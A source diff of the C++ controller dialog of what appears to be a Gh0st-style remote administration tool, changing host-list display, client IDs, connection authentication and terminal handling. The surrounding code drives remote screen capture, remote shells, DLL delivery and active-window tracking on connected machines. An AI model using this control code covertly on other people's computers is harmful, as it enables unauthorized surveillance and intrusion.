// MBCS 工程里 HDN_ITEMCLICK == HDN_ITEMCLICKA,码值跟 W 版不同,必须各自映射,
|
||||
// 否则点表头排序失效。两条都注册到同一个处理函数。
|
||||
ON_NOTIFY(HDN_ITEMCLICK, 0, &CMy2015RemoteDlg::OnHdnItemclickList)
|
||||
ON_NOTIFY(HDN_ITEMCLICKW, 0, &CMy2015RemoteDlg::OnHdnItemclickList)
|
||||
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
|
||||
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
|
||||
ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
|
||||
@@ -811,7 +778,6 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
||||
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
||||
ON_MESSAGE(WM_UPDATE_ACTIVEWND, UpdateUserEvent)
|
||||
ON_MESSAGE(WM_PREVIEW_RESPONSE, OnPreviewResponse)
|
||||
ON_WM_HELPINFO()
|
||||
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
|
||||
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
|
||||
@@ -1165,18 +1131,9 @@ VOID CMy2015RemoteDlg::CreateNotifyBar()
|
||||
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //大小赋值
|
||||
m_Nid.hWnd = m_hWnd; //父窗口 是被定义在父类CWnd类中
|
||||
m_Nid.uID = IDR_MAINFRAME; //icon ID
|
||||
// 注意:不加 NIF_GUID。NIF_GUID 会把托盘图标的注册和 EXE 完整路径绑死
|
||||
// (MSDN:If a Shell_NotifyIcon call uses a GUID that is recognized as
|
||||
// belonging to a different application path, the call will fail),
|
||||
// 导致 Debug 和 Release 编译产物(路径不同)相互冲突——先注册的占住 GUID,
|
||||
// 后启动的 NIM_ADD 静默失败、托盘没图标。
|
||||
m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //托盘所拥有的状态
|
||||
m_Nid.uCallbackMessage = UM_ICONNOTIFY; //回调消息
|
||||
m_Nid.hIcon = m_hIcon; //icon 变量
|
||||
|
||||
// 先删除可能残留的旧图标(程序异常退出时可能残留)
|
||||
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
|
||||
|
||||
CString strTips = _TR(BRAND_TRAY_TIP); //气泡提示
|
||||
lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0]));
|
||||
Shell_NotifyIcon(NIM_ADD, &m_Nid); //显示托盘
|
||||
@@ -1294,9 +1251,6 @@ VOID CMy2015RemoteDlg::InitControl()
|
||||
g_Column_Online_Width+=g_Column_Data_Online[i].nWidth;
|
||||
}
|
||||
m_CList_Online.InitColumns();
|
||||
// 让虚拟列表用 Unicode 通知(LVN_GETDISPINFOW),从而绕开 MBCS 工程里
|
||||
// 列表 → ANSI → CP_ACP 的回转,这样在德语/日语等非中文 ACP 服务端上也能显示中文。
|
||||
m_CList_Online.SendMessage(LVM_SETUNICODEFORMAT, TRUE, 0);
|
||||
m_CList_Online.ModifyStyle(0, LVS_SHOWSELALWAYS); // LVS_OWNERDATA 由 SetVirtualMode 设置
|
||||
m_CList_Online.SetExtendedStyle(style);
|
||||
m_CList_Online.SetParent(&m_GroupTab);
|
||||
@@ -1358,25 +1312,15 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
|
||||
verDisplay, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path,
|
||||
v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), startTime, capStr,
|
||||
};
|
||||
// 优先采用客户端自报的 ID(新客户端用 V2 算法 = MachineGuid + 归一化路径,
|
||||
// 比服务端按老算法 IP+PC+OS+CPU+PATH 重算更稳定)。
|
||||
// 客户端未发或解析失败时,回退到服务端老算法重算(兼容老客户端)。
|
||||
auto computedId = CONTEXT_OBJECT::CalculateID(data);
|
||||
uint64_t id = 0;
|
||||
if (!v[RES_CLIENT_ID].empty()) {
|
||||
id = std::strtoull(v[RES_CLIENT_ID].c_str(), nullptr, 10);
|
||||
auto id = CONTEXT_OBJECT::CalculateID(data);
|
||||
auto id_str = std::to_string(id);
|
||||
if (v[RES_CLIENT_ID].empty()) {
|
||||
v[RES_CLIENT_ID] = id_str;
|
||||
} else if (id_str != v[RES_CLIENT_ID]) {
|
||||
Mprintf("上线消息 - 主机ID错误: calc=%llu, recv=%s, IP=%s, Path=%s\n",
|
||||
id, v[RES_CLIENT_ID].c_str(), strIP.GetString(), path.GetString());
|
||||
}
|
||||
if (id == 0) {
|
||||
id = computedId;
|
||||
v[RES_CLIENT_ID] = std::to_string(id);
|
||||
}
|
||||
|
||||
bool modify = false, needConvert = true;
|
||||
|
||||
// 新客户端 V2 ID 算法首次上线时,把老 ID 下的元数据迁过来。
|
||||
if (TryMigrateClientMetadata(id, strPCName, path)) {
|
||||
modify = true;
|
||||
}
|
||||
CString loc = m_ClientMap->GetClientMapData(id, MAP_LOCATION);
|
||||
if (loc.IsEmpty()) {
|
||||
loc = v[RES_CLIENT_LOC].c_str();
|
||||
@@ -1485,8 +1429,7 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam)
|
||||
NOTIFYICONDATA nidCopy = m_Nid;
|
||||
nidCopy.cbSize = sizeof(NOTIFYICONDATA);
|
||||
nidCopy.uFlags |= NIF_INFO;
|
||||
nidCopy.dwInfoFlags = NIIF_USER | NIIF_LARGE_ICON; // 使用自定义图标
|
||||
nidCopy.hBalloonIcon = m_hIcon; // 设置气球提示图标
|
||||
nidCopy.dwInfoFlags = NIIF_INFO;
|
||||
lstrcpynA(nidCopy.szInfoTitle, title->data, sizeof(nidCopy.szInfoTitle));
|
||||
lstrcpynA(nidCopy.szInfo, text->data, sizeof(nidCopy.szInfo));
|
||||
nidCopy.uTimeout = 3000;
|
||||
@@ -3052,12 +2995,6 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
||||
if (nIDEvent == TIMER_CLOSEWND) {
|
||||
DeletePopupWindow();
|
||||
}
|
||||
if (nIDEvent == TIMER_PREVIEW_ARRIVAL) {
|
||||
KillTimer(TIMER_PREVIEW_ARRIVAL);
|
||||
if (m_pPreviewTip && ::IsWindow(m_pPreviewTip->GetSafeHwnd())) {
|
||||
m_pPreviewTip->MarkPreviewUnavailable();
|
||||
}
|
||||
}
|
||||
if (nIDEvent == TIMER_CLEAR_BALLOON) {
|
||||
KillTimer(TIMER_CLEAR_BALLOON);
|
||||
|
||||
@@ -3373,10 +3310,7 @@ void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce)
|
||||
m_pFloatingTip->DestroyWindow();
|
||||
|
||||
SAFE_DELETE(m_pFloatingTip);
|
||||
m_pPreviewTip = nullptr;
|
||||
m_PreviewReqId = 0;
|
||||
KillTimer(TIMER_CLOSEWND);
|
||||
KillTimer(TIMER_PREVIEW_ARRIVAL);
|
||||
}
|
||||
|
||||
|
||||
@@ -3511,17 +3445,10 @@ void CMy2015RemoteDlg::SortByColumn(int nColumn)
|
||||
|
||||
void CMy2015RemoteDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
*pResult = 0;
|
||||
// ON_NOTIFY(HDN_ITEMCLICK, 0, ...) 的 ID=0 匹配的是 listview 内部 header 控件 ID,
|
||||
// 而 m_CList_Online 和 m_CList_Message 的 header 内部 ID 都是 0,导致两边表头点击
|
||||
// 都进这个回调(老 bug)。只处理在线主机列表的 header,避免点日志列表表头串到主机排序。
|
||||
HWND hOnlineHeader = ListView_GetHeader(m_CList_Online.GetSafeHwnd());
|
||||
if (pNMHDR->hwndFrom != hOnlineHeader) {
|
||||
return;
|
||||
}
|
||||
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
|
||||
int nColumn = pNMHeader->iItem; // 获取点击的列索引
|
||||
SortByColumn(nColumn); // 调用排序函数
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
// 虚拟列表数据回调 - 当列表需要显示某行某列的数据时调用
|
||||
@@ -3573,84 +3500,6 @@ void CMy2015RemoteDlg::OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
// 虚拟列表数据回调(W 版) - 列表启用 LVM_SETUNICODEFORMAT 后由系统改发此通知。
|
||||
// 工程仍是 MBCS,CString 内部仍按 CP_ACP;这里把要显示的列统一转成宽字符填回,
|
||||
// 让控件直接以 Unicode 渲染,从而在非中文 ACP 服务端上也能正确显示中文。
|
||||
void CMy2015RemoteDlg::OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
NMLVDISPINFOW* pDispInfo = reinterpret_cast<NMLVDISPINFOW*>(pNMHDR);
|
||||
LVITEMW* pItem = &pDispInfo->item;
|
||||
int iItem = pItem->iItem;
|
||||
|
||||
CLock lock(m_cs);
|
||||
|
||||
if (iItem < 0 || iItem >= (int)m_FilteredIndices.size()) {
|
||||
*pResult = 0;
|
||||
return;
|
||||
}
|
||||
size_t realIdx = m_FilteredIndices[iItem];
|
||||
if (realIdx >= m_HostList.size()) {
|
||||
*pResult = 0;
|
||||
return;
|
||||
}
|
||||
context* ctx = m_HostList[realIdx];
|
||||
if (!ctx) {
|
||||
*pResult = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
if ((pItem->mask & LVIF_TEXT) && pItem->pszText && pItem->cchTextMax > 0) {
|
||||
std::wstring wtext;
|
||||
int nCol = pItem->iSubItem;
|
||||
|
||||
if (nCol == ONLINELIST_LOGINTIME) {
|
||||
// "活动窗口"列:心跳到达后用旁路表里的宽字符串(已正确解码);
|
||||
// 心跳到达前 m_ActiveWndW 还没条目,回退到 CString —— AddList 给这一列
|
||||
// 填的是 startTime(启动时间,纯 ASCII),按 CP_ACP 转宽显示,行为与
|
||||
// 原 A 版回调一致。
|
||||
auto it = m_ActiveWndW.find(ctx->GetClientID());
|
||||
if (it != m_ActiveWndW.end()) {
|
||||
wtext = it->second;
|
||||
} else {
|
||||
CString text = ctx->GetClientData(nCol);
|
||||
if (!text.IsEmpty()) {
|
||||
int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
|
||||
if (wlen > 0) {
|
||||
wtext.resize(wlen - 1);
|
||||
MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (wtext.empty()) wtext = L"?";
|
||||
} else {
|
||||
// 其它列:CString 仍是 ANSI(CP_ACP),按 CP_ACP 转宽供控件显示
|
||||
CString text;
|
||||
if (nCol == ONLINELIST_COMPUTER_NAME) {
|
||||
CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
|
||||
text = !note.IsEmpty() ? note : ctx->GetClientData(nCol);
|
||||
} else {
|
||||
text = ctx->GetClientData(nCol);
|
||||
if (text.IsEmpty()) text = "?";
|
||||
}
|
||||
int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
|
||||
if (wlen > 0) {
|
||||
wtext.resize(wlen - 1);
|
||||
MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen);
|
||||
}
|
||||
}
|
||||
|
||||
// 安全拷贝到控件提供的缓冲区
|
||||
int copy = (int)wtext.size();
|
||||
if (copy > pItem->cchTextMax - 1) copy = pItem->cchTextMax - 1;
|
||||
if (copy > 0) {
|
||||
wmemcpy(pItem->pszText, wtext.c_str(), copy);
|
||||
}
|
||||
pItem->pszText[copy] = L'\0';
|
||||
}
|
||||
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
@@ -3902,23 +3751,7 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
|
||||
return;
|
||||
DWORD dwFileSize = 0;
|
||||
BOOL is64bit = "64" == ContextObject->GetAdditionalData(RES_PROGRAM_BITS);
|
||||
// 客户端 RES_FILE_PATH 编码取决于其能力位(新 Win/Linux/macOS 是 UTF-8)。
|
||||
// std::filesystem::path 的 std::string 构造器把字节当本机 ANSI 解读——
|
||||
// 直接用 UTF-8 字节会被 CP936 误解为乱码,进而 stem() / parent_path() 提取错误。
|
||||
// 走 cap 位 → wide → wstring 构造路径,规避编码假设。
|
||||
CString pathRaw = ContextObject->GetAdditionalData(RES_FILE_PATH);
|
||||
std::filesystem::path path;
|
||||
{
|
||||
UINT cp = GetClientEncoding(ContextObject);
|
||||
int wlen = MultiByteToWideChar(cp, 0, pathRaw, -1, NULL, 0);
|
||||
if (wlen > 1) {
|
||||
std::wstring wpath(wlen - 1, L'\0');
|
||||
MultiByteToWideChar(cp, 0, pathRaw, -1, &wpath[0], wlen);
|
||||
path = std::filesystem::path(wpath);
|
||||
} else {
|
||||
path = std::filesystem::path(pathRaw.GetString());
|
||||
}
|
||||
}
|
||||
std::filesystem::path path = ContextObject->GetAdditionalData(RES_FILE_PATH).GetString();
|
||||
std::string stem = path.stem().string();
|
||||
std::string dirName = path.parent_path().filename().string();
|
||||
const char* resName = dlg.m_nSelected
|
||||
@@ -4062,7 +3895,7 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
||||
return;
|
||||
int n = THIS_CFG.GetInt("settings", "DXGI");
|
||||
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen", TRUE);
|
||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", ALGORITHM_NULL).c_str();
|
||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
|
||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, n, algo.IsEmpty() ? ALGORITHM_RGB565 : atoi(algo.GetString()), all};
|
||||
SendSelectedCommand(bToken, sizeof(bToken), screenParamModifier, bToken);
|
||||
}
|
||||
@@ -5476,15 +5309,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
case 137: // 心跳【L】
|
||||
g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
case TOKEN_SCREEN_PREVIEW_RSP: {
|
||||
// 屏幕预览响应:把整个包拷到堆上,转给主线程处理(IO 线程不接触 UI)
|
||||
if (len < sizeof(ScreenPreviewRspHeader)) break;
|
||||
auto* pkt = new std::vector<BYTE>(szBuffer, szBuffer + len);
|
||||
if (!g_2015RemoteDlg->PostMessageA(WM_PREVIEW_RESPONSE, 0, (LPARAM)pkt)) {
|
||||
delete pkt;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case SOCKET_DLLLOADER: {// 请求DLL【L】
|
||||
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
||||
@@ -5551,53 +5375,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
||||
break;
|
||||
}
|
||||
case TOKEN_CONN_AUTH: { // 子连接身份校验【L】
|
||||
// 设计取舍:
|
||||
// - 主连接走 TOKEN_LOGIN,不进入此分支。
|
||||
// - 当前阶段宽容:未通过的子连接仍允许后续命令(依靠 IP 反查兜底),
|
||||
// 仅把 IsAuthenticated 标志记下来,便于后续命令优先用。
|
||||
// - 失败时回应 ConnAuthAck 让客户端 fail fast,但不主动断连接
|
||||
// (客户端拒绝继续 = 自己关闭,等价效果,少一次 RST 噪音)。
|
||||
ConnAuthAck ack = {};
|
||||
ack.token = TOKEN_CONN_AUTH;
|
||||
ack.serverTime = (uint64_t)time(0);
|
||||
ack.status = CONN_AUTH_INTERNAL_ERROR;
|
||||
|
||||
if (len < (int)sizeof(ConnAuthPacket)) {
|
||||
ack.status = CONN_AUTH_BAD_SIZE;
|
||||
Mprintf("[ConnAuth] %s: 包长度不足 (%d < %zu)\n",
|
||||
ContextObject->GetPeerName().c_str(), len, sizeof(ConnAuthPacket));
|
||||
} else {
|
||||
const ConnAuthPacket* pkt = (const ConnAuthPacket*)szBuffer;
|
||||
int64_t skew = std::abs((int64_t)time(0) - (int64_t)pkt->timestamp);
|
||||
if (skew > CONN_AUTH_TIMESTAMP_TOLERANCE_SEC) {
|
||||
ack.status = CONN_AUTH_CLOCK_SKEW;
|
||||
Mprintf("[ConnAuth] %s: 时钟偏差 %lld 秒,拒绝\n",
|
||||
ContextObject->GetPeerName().c_str(), skew);
|
||||
} else {
|
||||
BYTE sigInput[8 + 8 + 16];
|
||||
memcpy(sigInput, &pkt->clientID, 8);
|
||||
memcpy(sigInput + 8, &pkt->timestamp, 8);
|
||||
memcpy(sigInput + 16, pkt->nonce, 16);
|
||||
bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
|
||||
std::string sig(pkt->signature, pkt->signature + 64);
|
||||
if (verifyMessage("", sigInput, sizeof(sigInput), sig)) {
|
||||
// 通过:把 clientID 钉在子连接 ctx 上
|
||||
ContextObject->SetID(pkt->clientID);
|
||||
ContextObject->SetAuthenticated(true);
|
||||
ack.status = CONN_AUTH_OK;
|
||||
Mprintf("[ConnAuth] %s: clientID=%llu 通过\n",
|
||||
ContextObject->GetPeerName().c_str(), pkt->clientID);
|
||||
} else {
|
||||
ack.status = CONN_AUTH_BAD_SIGNATURE;
|
||||
Mprintf("[ConnAuth] %s: clientID=%llu 签名无效\n",
|
||||
ContextObject->GetPeerName().c_str(), pkt->clientID);
|
||||
}
|
||||
}
|
||||
}
|
||||
ContextObject->Send2Client((PBYTE)&ack, sizeof(ack));
|
||||
break;
|
||||
}
|
||||
case TOKEN_BITMAPINFO: { // 远程桌面【x】
|
||||
ContextObject->SetNoDelay(TRUE);
|
||||
ContextObject->EnableZstdContext(-1);
|
||||
@@ -5618,23 +5395,12 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
break;
|
||||
}
|
||||
case TOKEN_TERMINAL_START: { // Linux PTY 终端 (WebView2 + xterm.js)
|
||||
// 三个前置条件,缺任何一个都回退到经典终端,并把原因贴到信息列表。
|
||||
// SYSTEM 场景:WebView2 不支持 LocalSystem token,会出现"窗口能弹但页面空白",
|
||||
// 显式拦截一次,避免用户误以为是 bug。
|
||||
const char* fallbackReason = nullptr;
|
||||
if (IsRunningAsSystem()) {
|
||||
fallbackReason = "Modern Terminal does not support SYSTEM, falling back to classic";
|
||||
} else if (!IsWebView2Available()) {
|
||||
fallbackReason = "WebView2 Runtime not installed, falling back to classic";
|
||||
} else if (!LoadTerminalModule()) {
|
||||
fallbackReason = "TerminalModule.dll load failed, falling back to classic";
|
||||
}
|
||||
|
||||
if (fallbackReason == nullptr) {
|
||||
// 检查 WebView2 和 DLL,都满足则使用现代终端,否则退化到经典终端
|
||||
if (IsWebView2Available() && LoadTerminalModule()) {
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENTERMINALDIALOG, 0, (LPARAM)ContextObject);
|
||||
} else {
|
||||
g_2015RemoteDlg->PostMessageA(WM_SHOWMESSAGE,
|
||||
(WPARAM)new CharMsg(fallbackReason), NULL);
|
||||
g_2015RemoteDlg->PostMessageA(WM_SHOWMESSAGE,
|
||||
(WPARAM)new CharMsg("To use Modern Terminal - WebView2 and TerminalModule.dll are required"), NULL);
|
||||
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
|
||||
}
|
||||
break;
|
||||
@@ -5737,65 +5503,6 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||||
}
|
||||
|
||||
|
||||
// 启发式 ID 迁移:当新客户端 V2 算法生成的 ID 在 m_ClientMap 里没条目时,
|
||||
// 按 (ComputerName, ProgramPath) 扫老条目找唯一匹配,把元数据搬过去。
|
||||
// 设计取舍见相关讨论:
|
||||
// - 严格 ComputerName 相等 + 大小写不敏感 ProgramPath 匹配。
|
||||
// - 多候选保守跳过——避免局域网同 hostname+同路径多机互相串备注。
|
||||
// - 老条目不删,作为审计/回滚依据;dat 文件不会显著膨胀。
|
||||
//
|
||||
// 线程安全说明:
|
||||
// - AddList 由 SendMessage(WM_USERTOONLINELIST) 进入,跑在 UI 线程,串行。
|
||||
// - newId 在本函数返回前没进入 m_HostList,UI 上看不到这台机器,
|
||||
// 用户无法通过右键触发 OnOnlineHostnote 写 newId 的备注。
|
||||
// - IO 线程的 AUTH 写发生在登录认证流之后,针对的是已注册客户端,不会
|
||||
// 在 newId 首次出现的瞬间踩进来。
|
||||
// - GetAll() 返回快照副本,迭代期间老条目被并发修改不影响匹配(我们只
|
||||
// 看 ComputerName/ProgramPath,这两个字段不会被并发改写)。
|
||||
// - _ClientList 实现内部有同步(项目里其它路径同样不持 m_cs 调用它)。
|
||||
// 故无需额外加锁。
|
||||
bool CMy2015RemoteDlg::TryMigrateClientMetadata(uint64_t newId, const CString& pcName, const CString& exePath)
|
||||
{
|
||||
if (!m_ClientMap) return false;
|
||||
if (m_ClientMap->Exists(newId)) return false; // 已有条目,无需迁移
|
||||
|
||||
const std::string targetPC = pcName.GetString();
|
||||
const std::string targetPath = exePath.GetString();
|
||||
|
||||
// 扫描所有条目,找匹配的老 ID(多于一个就停,按歧义处理)
|
||||
std::vector<ClientKey> candidates;
|
||||
for (const auto& kv : m_ClientMap->GetAll()) {
|
||||
if (kv.first == newId) continue;
|
||||
if (strcmp(kv.second.ComputerName, targetPC.c_str()) == 0 &&
|
||||
_stricmp(kv.second.ProgramPath, targetPath.c_str()) == 0) {
|
||||
candidates.push_back(kv.first);
|
||||
if (candidates.size() > 1) break;
|
||||
}
|
||||
}
|
||||
|
||||
if (candidates.size() > 1) {
|
||||
Mprintf("ID 迁移歧义: PC=%s, Path=%s 命中 %zu+ 个候选,保守跳过——"
|
||||
"需要运维手动确认是哪台机器的元数据\n",
|
||||
targetPC.c_str(), targetPath.c_str(), candidates.size());
|
||||
return false;
|
||||
}
|
||||
if (candidates.empty()) return false; // 真正的新机器
|
||||
|
||||
// 唯一匹配:复制用户可设置的元数据到新 ID(其它字段下次心跳/上线会覆盖)
|
||||
ClientKey oldId = candidates[0];
|
||||
m_ClientMap->SetClientMapData(newId, MAP_NOTE,
|
||||
m_ClientMap->GetClientMapData(oldId, MAP_NOTE).GetString());
|
||||
m_ClientMap->SetClientMapData(newId, MAP_LOCATION,
|
||||
m_ClientMap->GetClientMapData(oldId, MAP_LOCATION).GetString());
|
||||
m_ClientMap->SetClientMapInteger(newId, MAP_LEVEL,
|
||||
m_ClientMap->GetClientMapInteger(oldId, MAP_LEVEL));
|
||||
m_ClientMap->SetClientMapInteger(newId, MAP_AUTH,
|
||||
m_ClientMap->GetClientMapInteger(oldId, MAP_AUTH));
|
||||
Mprintf("ID 迁移: %llu -> %llu (PC=%s, Path=%s)\n",
|
||||
oldId, newId, targetPC.c_str(), targetPath.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
// 根据列表显示索引获取 context(考虑分组过滤)
|
||||
context* CMy2015RemoteDlg::GetContextByListIndex(int iItem)
|
||||
{
|
||||
@@ -5809,17 +5516,15 @@ context* CMy2015RemoteDlg::GetContextByListIndex(int iItem)
|
||||
return m_HostList[realIdx];
|
||||
}
|
||||
|
||||
// 从 m_HostList 中移除 context 并更新索引映射。
|
||||
//
|
||||
// 重要:MarkDeviceOffline / m_ActiveWndW.erase 等"主机下线"副作用必须**只在
|
||||
// 确实从 m_HostList 移除后**才触发。否则在子连接(auth 通过后 ctx->GetClientID()
|
||||
// 等于主连接 ID)正常断开时,会误把主连接当成下线,造成 Web 端"假下线"和
|
||||
// 活动窗口缓存被清空。
|
||||
// 从 m_HostList 中移除 context 并更新索引映射
|
||||
bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
|
||||
{
|
||||
if (!ctx) return false;
|
||||
uint64_t clientID = ctx->GetClientID();
|
||||
bool removed = false;
|
||||
// 通知 Web 服务(批量通知,由定时器触发)
|
||||
if (WebService().IsRunning()) {
|
||||
WebService().MarkDeviceOffline(clientID);
|
||||
}
|
||||
|
||||
// 方案1:通过索引快速查找(如果索引有效且匹配)
|
||||
auto indexIt = m_ClientIndex.find(clientID);
|
||||
@@ -5836,40 +5541,29 @@ bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
|
||||
m_ClientIndex[c->GetClientID()] = i;
|
||||
}
|
||||
}
|
||||
removed = true;
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
// 方案2:索引不存在或不匹配,遍历查找(处理重复 ID 的情况)
|
||||
if (!removed) {
|
||||
for (size_t i = 0; i < m_HostList.size(); ++i) {
|
||||
if (m_HostList[i] == ctx) {
|
||||
m_HostList.erase(m_HostList.begin() + i);
|
||||
// 如果索引指向的是被删除的元素,也删除索引
|
||||
if (indexIt != m_ClientIndex.end() && indexIt->second == i) {
|
||||
m_ClientIndex.erase(indexIt);
|
||||
}
|
||||
// 更新后续元素的索引
|
||||
for (size_t j = i; j < m_HostList.size(); ++j) {
|
||||
context* c = m_HostList[j];
|
||||
if (c) {
|
||||
m_ClientIndex[c->GetClientID()] = j;
|
||||
}
|
||||
}
|
||||
removed = true;
|
||||
break;
|
||||
for (size_t i = 0; i < m_HostList.size(); ++i) {
|
||||
if (m_HostList[i] == ctx) {
|
||||
m_HostList.erase(m_HostList.begin() + i);
|
||||
// 如果索引指向的是被删除的元素,也删除索引
|
||||
if (indexIt != m_ClientIndex.end() && indexIt->second == i) {
|
||||
m_ClientIndex.erase(indexIt);
|
||||
}
|
||||
// 更新后续元素的索引
|
||||
for (size_t j = i; j < m_HostList.size(); ++j) {
|
||||
context* c = m_HostList[j];
|
||||
if (c) {
|
||||
m_ClientIndex[c->GetClientID()] = j;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
// 副作用:仅在主连接真的从列表中移除时才触发,避免子连接断开误伤主连接的状态。
|
||||
if (removed) {
|
||||
if (WebService().IsRunning()) {
|
||||
WebService().MarkDeviceOffline(clientID);
|
||||
}
|
||||
m_ActiveWndW.erase(clientID);
|
||||
}
|
||||
return removed;
|
||||
return false;
|
||||
}
|
||||
|
||||
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||||
@@ -6248,25 +5942,10 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
||||
if (id) {
|
||||
bool changed = false;
|
||||
// 只在数据变化时标记 dirty
|
||||
// 注:hb.ActiveWnd 编码由客户端能力位 CLIENT_CAP_UTF8 决定(登录时已识别)。
|
||||
// CString 这里仍然按字节存原始数据,仅用于 "Locked:"/"Inactive:" 等 ASCII 前缀比较;
|
||||
// 真正显示走 m_ActiveWndW + LVN_GETDISPINFOW。
|
||||
CString oldActiveWnd = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
||||
if (oldActiveWnd != hb.ActiveWnd) {
|
||||
ctx->SetClientData(ONLINELIST_LOGINTIME, hb.ActiveWnd);
|
||||
changed = true;
|
||||
|
||||
// 按客户端声明的编码解码:新客户端 UTF-8,老客户端 CP936(默认兜底)
|
||||
std::wstring wActive;
|
||||
if (hb.ActiveWnd[0]) {
|
||||
UINT cp = GetClientEncoding(host);
|
||||
int wlen = MultiByteToWideChar(cp, 0, hb.ActiveWnd, -1, NULL, 0);
|
||||
if (wlen > 0) {
|
||||
wActive.resize(wlen - 1);
|
||||
MultiByteToWideChar(cp, 0, hb.ActiveWnd, -1, &wActive[0], wlen);
|
||||
}
|
||||
}
|
||||
m_ActiveWndW[clientID] = std::move(wActive);
|
||||
}
|
||||
if (hb.Ping > 0) {
|
||||
CString newPing = std::to_string(hb.Ping).c_str();
|
||||
@@ -6287,16 +5966,19 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
||||
// Notify web clients of device update
|
||||
if (WebService().IsRunning()) {
|
||||
std::string rtt = hb.Ping > 0 ? std::to_string(hb.Ping) : "";
|
||||
// Web 端要 UTF-8:直接用旁路表里的宽字符再编一次 UTF-8,
|
||||
// 这样无论客户端原本是 UTF-8 还是 GBK,发给 Web 都是 UTF-8。
|
||||
// Convert ANSI to UTF-8 for web
|
||||
std::string activeWnd;
|
||||
auto it = m_ActiveWndW.find(clientID);
|
||||
if (it != m_ActiveWndW.end() && !it->second.empty()) {
|
||||
const std::wstring& w = it->second;
|
||||
int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
|
||||
if (u8len > 0) {
|
||||
activeWnd.resize(u8len - 1);
|
||||
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWnd[0], u8len, NULL, NULL);
|
||||
CString csActiveWnd(hb.ActiveWnd);
|
||||
if (!csActiveWnd.IsEmpty()) {
|
||||
int wlen = MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, NULL, 0);
|
||||
if (wlen > 0) {
|
||||
std::wstring wstr(wlen - 1, L'\0');
|
||||
